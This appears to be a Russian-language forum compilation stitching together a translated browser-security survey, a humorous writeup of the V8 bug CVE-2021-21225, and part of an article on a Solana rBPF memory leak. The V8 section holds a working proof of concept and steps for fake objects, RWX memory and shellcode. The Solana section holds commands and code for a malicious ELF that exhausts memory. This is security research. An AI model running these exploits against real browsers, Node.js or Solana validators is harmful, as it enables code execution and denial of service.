По соображениям производительности и безопасности браузеры используют
специализированные распределители кучи для многих объектов. Эти распределители
используют особую конструкцию, помогающую снизить ущерб за счет ограничения
примитивов атаки.
Изолированная куча : Изоляция кучи является эффективной защитой от атак
UAF, которые перерастают в атаки обфускации типов. Изолируя объекты на основе:
Современные браузеры реализуют базовый уровень разделения кучи между JavaScript-доступными объектами (JavaScript) и другими объектами. Однако все еще возможно вызвать путаницу типов между объектами в одной и той же куче, но других типов с помощью UAF. Чтобы предотвратить такие атаки, Safari и Firefox вводят отдельные кучи для каждого типа в данной категории, что обеспечивает более тонкую изоляцию. В результате, не существует общедоступного универсального эксплойта для эксплуатации уязвимостей UAF во всех браузерах.
Отложенное освобождение : Другая контрмера, отложенное освобождение, эффективно затрудняет использование уязвимостей UAF, но этот метод не ограничивает утилизацию висячих указателей. Браузеры используют различные алгоритмы сбора мусора (GC) для освобождения объектов без ссылок на куче; некоторые варианты алгоритма GC дополнительно сканируют стек и кучу на предмет ссылок, которые могли быть пропущены, что известно как консервативное сканирование или отложенное освобождение. Примечательно, что Firefox отказался от этой стратегии в пользу точного укоренения и написал инструмент статического анализа для поиска небезопасного использования ссылок в стеке. Chrome имеет аналогичный инструмент, но он применяется только в определенных регионах. Однако отложенный выпуск вводит примитивы побочных каналов, которые могут быть использованы для поражения механизма ASLR, поскольку он не может отличить указатели на кучу от целых чисел, управляемых пользователем.
Защита метаданных кучи : Защита метаданных кучи - это метод проверки части метаданных блока кучи для предотвращения повреждения кучи и распространения тихих уязвимостей в куче. Например, распределитель кучи может поместить случайное значение перед опасной структурой данных для обнаружения уязвимостей кучи, а PartitionAlloc в Chrome удаляет встроенные метаданные и помещает страницу защиты, чтобы предотвратить линейные переполнения кучи от перезаписи метаданных. Существуют также некоторые усилия по защите метаданных на уровне ОС.
Другие средства защиты кучи: Отравление фреймов в Firefox освобождает блоки памяти, адреса которых указывают на недоступные страницы памяти. Аналогично, в Edge это делается путем заполнения блока кучи нулями при его освобождении. GWP-ASan в Chrome размещает небольшую случайную часть выделенных объектов до/после защиты страницы и освобождает всю страницу при освобождении блока для обнаружения ошибок кучи в естественных условиях.
Целостность потока управления
Поскольку злоумышленники часто манипулируют значениями указателей команд для достижения выполнения кода, целостность потока управления обеспечивается для предотвращения перехвата потока управления, что затрудняет атаки. Инфраструктура компилятора, операционная система и аппаратная поддержка обеспечивают большинство смягчений в этой категории, таких как защита таблиц виртуальных функций путем введения канареечных значений и разрешение перечисления косвенных ветвей путем проверки целевого адреса.
Ведется работа по предотвращению произвольной записи в память для модификации областей кода, которые могут быть выполнены злоумышленником. На основе аппаратной поддержки браузеры могут применять дополнительные контрмеры без существенного снижения производительности, например, добавление проверок целостности указателей с помощью PAC на ARM64, дополнительная защита W ⊕ X и APRR для JIT-компилированного кода с помощью Intel MPK.
Сторонние (боковые) каналы
Браузеры также уязвимы для атак по боковым каналам. Исследования на
сегодняшний день показали, что конфиденциальная информация в браузерах может
быть получена из:
1. состояния микроархитектуры
2. графических процессоров;
3. каналов синхронизации с плавающей запятой;
4. каналов измерения, специфичных для браузера
Исследователи представили защитные механизмы] для защиты браузеров от атак по
боковым каналам, такие как DeterFox и FuzzyFox . Кроме того, производители
браузеров внедрили средства защиты, которые делятся на следующие две
категории.
Уменьшение разрешения таймера : поскольку большинство атак опирается на точное определение времени, чтобы затруднить обнаружение небольших временных различий, производители браузеров уменьшили разрешение точных таймеров (например, performance.now()) и ввели случайный джиттер для предотвращения восстановления разрешения. После обнаружения Spectre и Meltdown производитель еще больше снизил точность таймера. Поскольку SharedArrayBuffer мог использоваться для создания таймеров высокого разрешения, SharedArrayBuffer был отключен во всех современных браузерах вскоре после обнаружения Spectre.
Предотвращение совместного использования ресурсов : Еще одна техника противодействия заключается в предотвращении совместного использования ресурсов жертвой и злоумышленником. Изоляция сайта эффективно справляется с переходным выполнением на основе Javascript. Политики Cross-Origin-Opener- Policy (COOP) и Cross-Origin-Embedder-Policy (COEP) были введены для создания среды междоменной изоляции. COOP позволяет веб-сайтам включать заголовки ответов в документы верхнего уровня, гарантируя, что междоменные документы не имеют общего просмотра. COEP предотвращает загрузку страницей любого междоменного ресурса, который не был явно разрешен этой странице. Они обеспечиваются с помощью HTTP-заголовков и доступны в Chrome 83, Firefox 79 и Edge 83, в то время как по состоянию на ноябрь 2021 года Safari их не поддерживает.
Использование SharedArrayBuffer было вновь включено в Chrome и Firefox после внедрения изоляции сайтов и COOP/COEP. Однако одно исследование показало, что повторное введение SharedArrayBuffer увеличило пропускную способность скрытого канала в 2 000 и 800 000 раз соответственно. Две недавние работы показывают, что, несмотря на изоляцию сайтов в Chrome, злоумышленники все равно могут получить доступ к конфиденциальной информации в разных доменах.
Другие контрмеры
Смягчение UAF : Для устранения основной причины проблем UAF, не покрываемых сбором мусора или другими мерами безопасности, команда Chrome ввела термин MiraclePtr, который обозначает набор алгоритмов, позволяющих обернуть необработанные указатели в C/C++ так, чтобы их нельзя было использовать через UAF. Ожидается, что MiraclePtr вскоре Ожидается, что MiraclePtr будет введен в использование в ближайшее время.
Улучшение безопасности памяти : команда Chrome изучила усовершенствования в кодовой базе C++, которые могут устранить или уменьшить конкретные типы уязвимостей путем ограничения использования специфичных для языка функций (например, исключений C++ ) и внедрения классов-оберток вокруг целочисленных операций.
Улучшение JIT-компилятора : Было предпринято много усилий для защиты от опасных операций оптимизации в JIT-компиляторе. Например, во многих эксплойтах для устранения "кажущихся излишними" проверок границ используется метод bounds check elimination. Чтобы решить эту проблему, команда Chrome ввела исправление, которое помечает такие проверки как "прерывание", а не просто удаляет их. Кроме того, чтобы сделать генерацию байткода стандартных функций JS менее подверженной ошибкам, команда Chrome разработала специфический для данной области язык Torque, который заменяет существующую реализацию C++ и уменьшает количество LoCs.
Совместные усилия по реагированию могут принести пользу.
Когда один поставщик внедряет контрмеру, другие могут последовать его примеру.
В таблице IV мы видим, что многочисленные контрмеры были приняты несколькими
браузерами. Если уязвимость обнаружена в одном браузере, производитель может
быстро поделиться информацией с другими производителями и вместе они могут
использовать свои коллективные знания для создания лучшего обходного пути. В
случае с атакой Spectre/Meltdown хорошим примером совместных усилий является
совместная работа производителей браузеров над разработкой плана по снижению
непосредственной угрозы.
Тематическое исследование: Эксплуатация всей цепи
Поскольку современные браузеры имеют различные функции безопасности, браузерные эксплойты часто требуют соединения нескольких атак, чтобы в конечном итоге выполнить вредоносное действие. Объединение всех этих этапов часто называют полноцепочечной эксплуатацией. В качестве показательного примера эксплуатации браузера с полной цепочкой мы проанализировали успешную атаку на Safari в соревновании Pwn2Own 2020 года.
Эта атака проникла в процесс рендеринга, начавшись с уязвимости оптимизации JIT-компилятора: компилятор DFG в Safari JavaScript renderer неправильно моделирует побочные эффекты оператора "in", когда выполняется специальное условие для прокси-объектов. Эта уязвимость позволяет злоумышленнику сконструировать стандартный примитив addrof/fakeobj для произвольного чтения/записи памяти и, в конечном итоге, выполнения произвольного кода. Для того, чтобы создать действительный объект с помощью fakeobj, злоумышленники используют хорошо известную технику обхода аутентификации формы объекта (рандомизация идентификатора структуры ). После подделки объекта JavaScript они используют известную технику для обхода изоляции адресного пространства (Gigacage) и получения произвольных примитивов чтения/записи в процессе рендеринга.
Если процесс рендеринга скомпрометирован, следующим шагом будет побег из песочницы, что гораздо сложнее. В этой атаке злоумышленник ловко соединил несколько логических/памятных эксплойтов, чтобы избежать "песочницы". Сначала злоумышленник дополнительно получает выполнение произвольного кода от службы CVMServer XPC (часть встроенного фреймворка OpenGL), которая находится в песочнице, но имеет возможность создавать символические ссылки, чего нет у процесса рендеринга. Кроме того, Safari имеет IPC-метод didFailProvisionalLoad(), который может запускать произвольные приложения, если предоставлена символическая ссылка на папку приложения. Объединив их, злоумышленник может запустить любое приложение через Safari. В этот момент песочница успешно нарушена, поскольку они могут выполнять произвольные приложения за пределами песочницы рендерера, подобно пользователю, запустившему Safari.
Наше резюме примера Pwn2Own является конкретным, но действенным. Исходя из этого, мы описываем эксплойт для браузера с полной цепочкой в более общем виде. Во-первых, для поиска уязвимостей в рендере можно использовать методы fuzz-тестирования или вручную просмотреть исходный код браузера. Поиск эксплуатируемых ошибок будет одним из самых сложных этапов. После обнаружения таких уязвимостей следующим шагом является реализация примитивов выполнения произвольного кода в контексте процесса рендеринга. Однако получение контроля над рендерером - это только начало, поскольку рендерер ограничен механизмом "песочницы". Чтобы прорваться через "песочницу", злоумышленники обычно нацеливаются на дефекты в процессе браузера, ядре операционной системы или протоколе IPC. В отличие от атаки на рендерер, для побега из песочницы обычно требуется связать уязвимости логики высокого уровня с несколькими компонентами системы. После выхода из "песочницы" злоумышленник может выполнить произвольную программу с тем же уровнем безопасности, что и браузер, что позволяет осуществить атаку по всей цепочке.
Обсуждение
В этом разделе мы обсудим несколько аспектов, связанных с безопасностью браузера.
Проблемы в патчах
Благодаря существованию публичных репозиториев и трекеров проблем, исправления в браузерах с открытым исходным кодом могут быть сначала выложены в открытый доступ, до того как новые версии будут завершены и выпущены для конечных пользователей, что позволяет злоумышленникам оценить возможность использования исправлений. Например, iOS Safari эксплуатировался из-за полуторамесячного отсутствия патча. Чтобы устранить этот пробел, Chrome ввел обновления безопасности раз в две недели и сократил цикл выпуска с шести до четырех недель. Firefox не позволяет размещать исправления безопасности в хранилище до их выпуска и рекомендует не включать информацию об уязвимостях в заявки на исправления.
Однородность браузерных движков
Многие "вторичные браузеры" используют тот же браузерный движок, что и ведущий браузер (например, Chrome V8). В результате уязвимости в одном движке браузера могут повлиять на другие браузеры с общим движком. Из 15 самых популярных браузеров 11 основаны на движке Chrome (включая Microsoft Edge ). Когда выходит новая версия Chrome с исправлениями ошибок, они не сразу применяются во вторичных браузерах; существует временной лаг, прежде чем вторичные браузеры интегрируют их.
В зависимости от истории выпуска суббраузера, существует временной лаг до применения выпущенных исправлений безопасности, что обеспечивает окно атаки для злоумышленников. Например, уязвимость WebKit может быть использована на прошивке PlayStation через несколько месяцев после того, как о ней было сообщено в системе отслеживания ошибок WebKit. Это также является проблемой в Android, где приложения поставляются с встроенными движками рендеринга, например, об уязвимости UXSS было сообщено в интернет-браузере Samsung Internet (Samsung Internet) примерно через месяц после сообщения о ней в Chromium. Apple смогла использовать эту уязвимость, заставив все приложения использовать библиотеку WebKit, предоставляемую ОС, и запретив использование библиотеки WebKit. несоответствующие приложения в своем App Store, чтобы решить эту проблему в iOS.
Кроме того, использование компонентов веб-браузера, таких как рендереры и движки JavaScript, распространяется и на приложения, использующие такие фреймворки, как Electron и Android WebView. Кроме того, Node.js и Deno используют движок V8 от Google для включения JavaScript вне контекста браузера (например, для реализации веб-сервера). В результате уязвимости и эксплойты в движке браузера влияют не только на сам браузер, но и на необходимость создания более совершенных защитных механизмов для предотвращения катастрофических последствий.
Однородность движков браузеров вызывает серьезные проблемы; необходимы более совершенные исправления Из-за однородности браузерных движков уязвимости в одном браузерном движке могут повлиять на многие другие браузеры и приложения. Мы рекомендуем ведущим браузерам (например, Chrome) сделать свои движки JavaScript доступными для других приложений в виде общих библиотек, чтобы исправления было легче развертывать через обновления по сети, а не вручную интегрированные исправления.
Средства обнаружения уязвимостей
Было приложено много усилий для разработки современных инструментов для обнаружения ошибок в браузерных движках, и эти инструменты можно разделить на две основные категории: fuzzing и статический анализ.
Фаззинг - одна из самых эффективных стратегий поиска ошибок, которая используется для поиска ошибок в браузерах с 2012 года. Safari и Edge (на базе ChakraCore и V8), а также их ключевые приемы. Эти фаззеры выбирают между двумя классическими моделями: мутационный фаззинг (например, Montage ) и генерационный фаззинг (например, CodeAlchemist ). Некоторые фаззеры, такие как Lang-Fuzz и DIE, используют смесь этих двух моделей, а также обратную связь по покрытию. Создание синтаксически и семантически осведомленных входов, таких как DIE и LangFuzz, полезно для генерации большего количества сбоев. Некоторые усилия, направленные на промышленную природу нечетких браузеров, оказались весьма эффективными в обнаружении сложных уязвимостей браузеров. Например, ClusterFuzz работает на более чем 25 000 ядер и обнаружил более 29 000 уязвимостей в Chrome.
Статический анали з: Еще одной недавней попыткой в мире поиска уязвимостей в браузерах, где доминирует фаззинг, является SYS, первый "статический/символический" инструмент для поиска ошибок в коде браузера, где статический анализ может расширить огромную базу кода браузера, разбив ее на более мелкие фрагменты. В частности, SYS использует статические средства проверки для поиска потенциальных мест уязвимости, а затем использует расширяемое символьное выполнение для анализа этих мест. Таким образом, SYS - это отличное направление для будущей работы в области поиска ошибок в браузерах с помощью статического анализа.
Автоматизированный поиск уязвимостей - это здорово, но все еще нуждается в
улучшении.
Самые продвинутые фаззеры в отрасли отлично справляются с обнаружением
уязвимостей в браузере. Однако, как бы хороши они ни были, эти инструменты все
равно не заменят ручной аудит, который по-прежнему является основным методом
поиска сложных логических уязвимостей. В результате как в научных кругах, так
и в промышленности необходимы более совершенные методы поиска уязвимостей.
Проактивные контрмеры
Большинство существующих мер по снижению уязвимости являются реактивными, то есть они применяются после обнаружения уязвимости, что недостаточно хорошо. Было бы идеально, если бы меры можно было принять до того, как произойдет атака (проактивный подход), что позволило бы победить неизвестные угрозы. Например, изоляция сайта изначально была разработана для борьбы с UXSS-атаками с использованием внепроцессных iframe, но она также помогла победить атаки Spectre/Meltdown, которые исследователи обнаружили уже после начала проекта изоляции сайта. Это хороший пример проактивного подхода к борьбе с неизвестными угрозами.
В игре по реагированию на эксплойты защитник никогда не сможет победить атакующего, потому что действия защитника прозрачны для атакующего. Поставщики могут изменить ситуацию, скрытно развернув новые контрмеры, например, в "песочнице" в инфраструктуре безопасного просмотра. Это также может помочь в обнаружении уязвимостей и исправлении ошибок путем сбора образцов, которые с высокой вероятностью могут быть вредоносными. Кроме того, производители могут попробовать более агрессивные контрмеры, которые могут повлиять на пользовательский опыт в таких средах. Например, если рандомизация StructureID развернута в песочнице безопасного просмотра перед выпуском бюллетеня, большинство JIT-уязвимостей, связанных с оригинальным языком fakeobj, будут обнаружены.
В заключении
В этой статье мы представили первый SoK по безопасности браузеров. Сначала мы предоставили единую модель для изучения дизайна безопасности четырех основных браузеров и представили 10-летнее продольное исследование уязвимостей браузеров для изучения тенденций. Затем мы представим основные типы уязвимостей и предложим современные контрмеры. Мы также подробно рассмотрим реальные полноцепочечные эксплойты уязвимостей на Pwn2Own 2020. Данная статья проливает свет на область безопасности браузеров и представляет некоторые ключевые моменты, которые могут просветить исследователей и производителей браузеров относительно будущего направления улучшения безопасности браузеров.
Защита конфиденциальности в браузере
Одним из наиболее тревожных элементов нарушения конфиденциальности при просмотре веб-страниц является IP-адрес пользователя. Поскольку веб-серверы могут легко собирать и хранить IP-адреса, они могут немедленно раскрыть географическое местоположение пользователя с мелкой детализацией, основанной на сетевом окружении (например, NAT). Браузер Tor решает эту проблему с помощью протокола Onion, который перенаправляет соединение пользователя, используя несколько случайных узлов в сети Tor, и каждый узел не может знать как идентификатор пользователя (IP), так и его местоположение. место назначения. Тем не менее, все еще возможно нарушить конфиденциальность, просматривая зашифрованные последовательности сетевых пакетов с помощью методов "отпечатков пальцев" веб-сайтов. Другой браузер, Brave, не позволяет веб-сайтам отслеживать пользователей, удаляя все рекламные объявления и рекламные трекеры, содержащиеся на сайте, но история просмотров пользователя все равно может быть скомпрометирована.
Плагины и расширения
Плагины и расширения - это небольшие программы, которые настраивают функциональность браузера, предоставляя различные возможности. Плагины, такие как Java и Flash, работают в контексте веб-страницы, а расширения присоединяют к браузеру дополнительные функции. Несмотря на свои преимущества, плагины являются основным источником нестабильности браузера. Плагины также делают "песочницу" процесса рендеринга непрактичной, поскольку плагины пишутся третьими лицами, а производители браузеров не контролируют их доступ к операционной системе. Кроме того, расширения обладают особыми привилегиями в браузере, что делает их привлекательными целями в глазах злоумышленников.
Плагины NPAPI. NPAPI позволяет производителям браузеров разрабатывать подключаемые модули с общим интерфейсом. Когда браузер посещает страницу с неизвестным типом содержимого, он ищет и загружает доступные плагины для делегирования обработки содержимого. В результате злоумышленник может запустить уязвимость, назначив веб-странице определенный тип содержимого, тем самым обманом заставив браузер загрузить конкретный плагин с уязвимостью. Атаки, использующие плагины NPAPI, распространены во всех браузерах и платформах, особенно на Java, Flash и PDF. Чтобы противостоять этому, браузеры отделяют процесс плагина от основного процесса браузера, т.е. смягчение плагина вне процесса. Однако плагины все еще были доступны для эксплуатации в браузере, и их винили в снижении производительности и сбоях браузера. В конце концов, все браузеры перестали поддерживать плагин NPAPI.
Сложность развертывания контрмер
Поставщикам браузеров трудно развернуть контрмеры по следующим причинам.
a. Совместимость: Код третьих лиц (например, плагины для браузеров) зависит от кода браузера, чтобы функционировать должным образом. При внедрении смягчающих мер для браузера может быть нарушен код сторонних разработчиков, который производитель браузера не контролирует. Например, при попытке внедрить блокировку Win32k в Windows для Pepper Plugin API (PPAPI) Chrome возникали проблемы стабильности при применении патчей на Windows 8.1 и ниже, которые команда Chrome не могла отследить, затрагивающие, в частности, Flash, PDFium и Widevine. плагины. В результате блокировка PPAPI Win32k включена только для Windows 10, но не для Windows 8/8.1, чтобы избежать проблем со стабильностью.
b. Производительность: Стоимость добавления мер по снижению безопасности высока. Чтобы уменьшить угрозы безопасности, производители браузеров иногда предпочитают обменять производительность на безопасность, и наоборот. Например, отключение SharedArrayBuffer (SAB) во всех современных браузерах в начале 2018 года в качестве контрмеры против атак Spectre, как обсуждалось в §IV-D, значительно ухудшило производительность, поскольку SAB изначально предназначался для обеспечения легкой синхронизации между рабочими .
c. Безопасность: Большее количество кода обычно означает больше уязвимостей в безопасности. Часто внедрение смягчений или исправлений увеличивает поверхность атаки. После развертывания нового патча для браузера производители браузеров часто ищут отчеты об уязвимостях, чтобы как можно скорее устранить новые проблемы безопасности. Например, Firefox ввел отдельную категорию вознаграждений за уязвимости в проактивных мерах противодействия.
d. Редуктивное смягчение: некоторые меры по смягчению применяются на разовой основе для борьбы с непосредственными угрозами, пока разрабатываются более эффективные меры по смягчению. Например, в случае с SAB, упомянутом выше, Chrome и Firefox снова включили SAB вскоре после внедрения более надежных контрмер (т.е. изоляции сайта и COOP/COEP). Несмотря на все усилия по обеспечению безопасности, высокой производительности и совместимости смягчений, иногда от смягчений приходилось отказываться из-за некоторых серьезных последствий, которые они влекли за собой. Например, в таблице IV, встроенный в Chrome XSS-фильтр XSS Auditor пострадал от многих побочных эффектов безопасности, что привело к его отказу от использования в 2019 году.
Автор: Hcamael@Know Chuangyu 404 Lab
Перевод этой статьи.
В тридевятом царстве тридесятом государстве жила была принцесса CVE-2021-21225. Однажды в студёную зимнюю пору пришли разработчики Chrome к ней во дворец и ~~поставили раком~~ исправили код ошибки 1195977 которую она вызывала.
Последняя версия Chrome: 90.0.4430.72
Последняя версия V8: 9.0.257.17
Собери замок принцессы в один клик:
Code:Copy to clipboard
$ ./build.sh 9.0.257.17
Проанализированная на этот раз уязвимость сильно отличается от изученных ранее.
Личиком королевская дочка, я бы сказал не сильно так и вышла, PoC её выглядит так
Code:Copy to clipboard
class Leaky extends Float64Array {}
let u32 = new Leaky (1000);
u32.__defineSetter__('length', function() {});
class MyArray extends Array {
static get [Symbol.species]() {
return function() { return u32; }
};
}
var w = new MyArray(300);
w.fill(1.1);
delete w[1];
Array.prototype[1] = {
valueOf: function() {
w.length = 1;
gc();
delete Array.prototype[1];
return 1.1;
}
};
var c = Array.prototype.concat.call(w);
for (var i = 0; i < 32; i++) {
print(c[i]);
}
Одну из функций gc необходимо вызвать, запустив d8 с аргументом --expose- gc.
Эффектом этого PoC явно является утечка памяти, и определение других переменных после переменной w, например var c = [1.1,2.2], может привести к утечке информации о переменной c.
Исследователь, обнаруживший уязвимость, также написал соответствующую статью на сайте
<https://tiszka.com/blog/CVE_2021_21225.html?utm_source=bengtan.com/interesting-
things/018>
https://tiszka.com/blog/CVE_2021_21225_exploit.html
Уязвимость находится в функции concat и не является новым типом уязвимости.
Предыдущие номера уязвимостей для функции concat - CVE-2016-1646 и
CVE-2017-5030, для получения более подробной информации перейдите к первой
статье выше.
Вот как я написал exp, существующий exp уже может сливать информацию о
переменной, но этого недостаточно, для rce, вам также нужно иметь возможность
контролировать карту переменной, эффект PoC выше просто рассматривает
переменную w как массив длиной 1000, а затем присваивает значение переменной
c, в обычной программе, длина переменной w была изменена нами на 1, поэтому
нет возможности изменить последующее значение Изменение значения c никак не
влияет на другие переменные, потому что c сама является легальной переменной
длины 1000.
Во второй статье выше приведен такой сценарий.
1. В приведенном выше примере все элементы массива w заполнены на 1.1,
поэтому карта w имеет тип PACKED_DOUBLE_ELEMENTS.
2. Если мы изменим map переменной w на тип HOLEY_ELEMENTS, то функция concat
при работе будет рассматривать все элементы w как Object.
3. Таким образом, мы определяем еще одну переменную после переменной w:
padding_obj = new Uint32Array(10);, которая вставляется в адрес памяти,
который мы можем контролировать, чтобы можно было построить fake_obj.
4. Как только у вас есть fake_obj, вы можете читать и записывать EXP по
своему усмотрению.
Но если написать его таким образом напрямую, могут возникнуть проблемы, и программа аварийно завершит работу, поскольку после срабатывания эксплойта он рассматривает все последующие переменные как объекты, и если встречает нелегитимный объект, сообщает об ошибке.
Реализация этого способа предоставляется путем изменения цепочки прототипов Объекта в функции, которая запускает уязвимость: the
Code:Copy to clipboard
Object.prototype.valueOf = function() {
corrupted_array = this;
delete Object.prototype.valueOf; // clean up this valueOf
throw 'bailout';
}
Когда он успешно срабатывает, то получает созданный нами fake_obj и выбрасывает исключение, которое затем перехватывается, чтобы программа не завершилась.
Вывоз мусора
Функция gc в приведенном выше poc требует аргумента --expose-gc , что же делать без этого аргумента? Один из вариантов приведен во второй статье выше.
Code:Copy to clipboard
function gc() {
new ArrayBuffer(0x7fe00000);
}
Другой вариант ~~сбежать из замка~~ получения памяти RWX
В предыдущих статьях мы использовали WASM для получения области памяти RWX, но
во второй статье выше приводится другой вариант.
Если heap->write_protect_code_memory равен 0, то JIT-оптимизированный код
создаст область памяти RWX для его хранения.
Code:Copy to clipboard
function jit(a) {
return a[0];
}
write64(write_protect_code_memory_, 0);
for (var i = 0; i < 200000; i++) {
jit([0]);
}
shellcode = [xxxx]
copy_shellcode_rwx(shellcode, jit_turbo_code_addr)
jit([0])
Адрес write_protect_code_memory_addr обычно находится в начале кучи, его можно
найти с помощью gdb.
Смещение адреса jit_turbo_code_addr также можно получить через отладку gdb.
Эксплойт для NodeJS
После исследования выяснилось, что уязвимость может затрагивать NodeJS 16.0.0.
Несколько моментов, которые следует иметь в виду, приступая к написанию EXP
для NodeJS.
1. В nodejs не включено сжатие адресов.
2. Использование %DebugPrint или %System может повлиять на расположение
памяти и скомпрометировать эксплойт.
3. Последний использованный шеллкод не найдет никакого выхода, это происходит
потому, что дескриптор файла, используемый для выполнения шеллкода, не
корректен, на этот раз вы можете модифицировать шеллкод для обратного шеллкода
или bind shell.
Догнать пьяную принцессу можно тут:
https://bugs.chromium.org/p/chromium/issues/detail?id=1195977
В предыдущей части я обсуждал разработку фаззеров. Здесь я расскажу об уязвимостях, которые я обнаружил, и о том, как сообщать о них Солане.
Первая ошибка, о которой я сообщил Солане, была исключительно сложной; это происходит только в очень специфических обстоятельствах, и тот факт, что фаззер вообще его обнаружил, является свидетельством невероятной сложности входных данных, которые фаззер может обнаружить путем повторных испытаний. Соответствующий сбой был обнаружен примерно через два часа после запуска фаззера.
solana-2.html#initial-investigation)
Входные данные, вызвавшие сбой, дизассемблируются в следующую сборку:
Code:Copy to clipboard
entrypoint:
r0 = r0 + 255
if r0 <= 8355838 goto -2
r9 = r3 >> 3
call -1
По какой причине этот конкретный набор инструкций вызывает утечку памяти?
При выполнении эта программа выполняет следующие шаги, примерно:
Что меня поразило в этом конкретном тестовом случае, так это то, насколько он был невероятно конкретным; изменение добавления 255 или 8355838 даже на небольшое количество привело к исчезновению утечки. Именно тогда я вспомнил [следующую строку из моего фаззера ](https://github.com/solana- labs/rbpf/blob/afaf17c527368dc165f6cb11110190142aed235f/fuzz/fuzz_targets/smart_jit_diff.rs#L71):
let mut jit_meter = TestInstructionMeter { remaining: 1 << 16 };
remaining , здесь относится к количеству инструкций, оставшихся до того, как программа будет принудительно завершена. В результате программа утечки исчерпал этот счетчик точно как в call инструкции.
[В строке 420 jit.rs есть много текста, ](https://github.com/solana- labs/rbpf/blob/e8b4a0accd1c4eb45c055e87718f03db7f52218e/src/jit.rs#L420)которая описывает оптимизацию, которую Солана применила, чтобы уменьшить частоту обновления счетчика инструкций.
Короткая версия заключается в том, что они обновляют или проверяют счетчик
инструкций только тогда, когда достигают конца блока или вызова, чтобы
уменьшить количество раз, когда они обновляют и проверяют счетчик. Эта
оптимизация совершенно разумна; нас не волнует, закончатся ли инструкции в
середине блока, потому что последующие инструкции по-прежнему «безопасны», и
если мы когда-либо нажмем выход, это все равно будет концом блока. Другими
словами, эта оптимизация не должна влиять на конечное состояние программы.
Проблему можно увидеть в [патче для уязвимости ](https://github.com/solana-
labs/rbpf/pull/261/files#diff-7d39efd566d08b201d1e747f11b3909be0d39fd3d4c89cfd28e0b21bab3ec27aR1275),
где сопровождающий переместил строку 1279 в строку 1275. Чтобы понять, почему
это важно, давайте еще раз пройдемся по нашему выполнению:
Однако, исходя из исходного порядка инструкций, при вызове происходит следующее:
Поскольку неразрешенная ошибка символа просто перезаписывается, значение никогда не передается в код Rust, который вызвал JIT-программу. В результате ссылка на выделенную в куче строку теряется и никогда не удаляется. Таким образом: любой указатель на это выделение кучи теряется и никогда не будет освобожден, что приводит к утечке. При этом утечка составляет всего семь байтов за одно выполнение программы. Не вызывая большей утечки, что не особенно удобно.
Давайте подробнее рассмотрим**[report_unresolved_symbol](https://github.com/solana- labs/rbpf/blob/786d4f7fe17c252bbfd3b6e89d954defa89c0003/src/elf.rs#L315).
**
Spoiler: report_unresolved_symbol
pub fn report_unresolved_symbol(&self, insn_offset: usize) -> Result<u64,
EbpfError
let file_offset = insn_offset
.saturating_mul(ebpf::INSN_SIZE)
.saturating_add(self.text_section_info.offset_range.start as usize);
let mut name = "Unknown";
if let Ok(elf) = Elf::parse(self.elf_bytes.as_slice()) {
for relocation in &elf.dynrels {
match BpfRelocationType::from_x86_relocation_type(relocation.r_type) {
Some(BpfRelocationType::R_Bpf_64_32) | Some(BpfRelocationType::R_Bpf_64_64) => {
if relocation.r_offset as usize == file_offset {
let sym = elf
.dynsyms
.get(relocation.r_sym)
.ok_or(ElfError::UnknownSymbol(relocation.r_sym))?;
name = elf
.dynstrtab
.get_at(sym.st_name)
.ok_or(ElfError::UnknownSymbol(sym.st_name))?;
}
}
_ => (),
}
}
}
Err(ElfError::UnresolvedSymbol(
name.to_string(),
file_offset
.checked_div(ebpf::INSN_SIZE)
.and_then(|offset| offset.checked_add(ebpf::ELF_INSN_DUMP_OFFSET))
.unwrap_or(ebpf::ELF_INSN_DUMP_OFFSET),
file_offset,
)
.into())
}
Обратите внимание, как name строка становится выделенной кучей. Значение имени определяется поиском перемещения в ELF, которым мы фактически можем управлять, если скомпилируем собственный вредоносный ELF. Несмотря на то, что фаззер тестирует только JIT-операции, [один из предполагаемых способов загрузки программы BPF — это ELF ](https://github.com/solana- labs/rbpf/blob/786d4f7fe17c252bbfd3b6e89d954defa89c0003/src/elf.rs#L1277), так что кажется, что это определенно входит в область применения.
solana-2.html#crafting-the-malicious-elf)
Создать неразрешенный релокейшн в BPF на самом деле довольно просто. Нам просто нужно создать функцию с очень-очень длинным именем, которое на самом деле не определено, а только объявлено. Для этого я создал два файла для создания вредоносного ELF:
evil.h
evil.h слишком велик, чтобы публиковать его здесь, так как его имя функции
имеет длину около мегабайта. Вместо этого он был создан с помощью следующей
команды bash.
Code:Copy to clipboard
$ echo "#define EVIL do_evil_$(printf 'a%.0s' {1..1048576})
void EVIL();
" > evil.h
evil.c
Code:Copy to clipboard
#include "evil.h"
void entrypoint() {
asm(" goto +0\n"
" r0 = 0\n");
EVIL();
}
Наконец, мы также создадим программу на Rust для загрузки и выполнения этого ELF, просто чтобы убедиться, что они могут воспроизвести проблему.
elf-memleak.rs
Spoiler
Вы больше не сможете использовать этот конкретный пример, так как rBPF сильно изменил свой API с момента его создания. Однако вы можете проверить версию v0.22.21 , для которой был создан этот эксплойт.
Обратите внимание, в частности, на использование счетчика инструкций.
Code:Copy to clipboard
use std::collections::BTreeMap;
use std::fs::File;
use std::io::Read;
use solana_rbpf::{elf::{Executable, register_bpf_function}, insn_builder::IntoBytes, vm::{Config, EbpfVm, TestInstructionMeter, SyscallRegistry}, user_error::UserError};
use solana_rbpf::insn_builder::{Arch, BpfCode, Cond, Instruction, MemSize, Source};
use solana_rbpf::static_analysis::Analysis;
use solana_rbpf::verifier::check;
fn main() {
let mut file = File::open("tests/elfs/evil.so").unwrap();
let mut elf = Vec::new();
file.read_to_end(&mut elf).unwrap();
let config = Config {
enable_instruction_tracing: true,
..Config::default()
};
let mut syscall_registry = SyscallRegistry::default();
let mut executable = Executable::<UserError, TestInstructionMeter>::from_elf(&elf, Some(check), config, syscall_registry).unwrap();
if Executable::jit_compile(&mut executable).is_ok() {
for _ in 0.. {
let mut jit_mem = [0; 65536];
let mut jit_vm = EbpfVm::<UserError, TestInstructionMeter>::new(&executable, &mut [], &mut jit_mem).unwrap();
let mut jit_meter = TestInstructionMeter { remaining: 2 };
jit_vm.execute_program_jit(&mut jit_meter).ok();
}
}
}
С нашим вредоносным ELF, имя функции которого имеет длину в мебибайт, report_unresolved_symbolустановит это nameпеременной в длинное имя функции. В результате из выделенной строки будет происходить утечка целого мегабайта памяти за одно выполнение, а не жалких семи байт. При выполнении в этом цикле вся системная память будет исчерпана за считанные секунды.
Итак, теперь, когда мы создали эксплойт, мы, вероятно, должны сообщить об этом
поставщику.
Быстрый Google помог и мы находим политику безопасности Solana
. Пролистывая, там
написано:
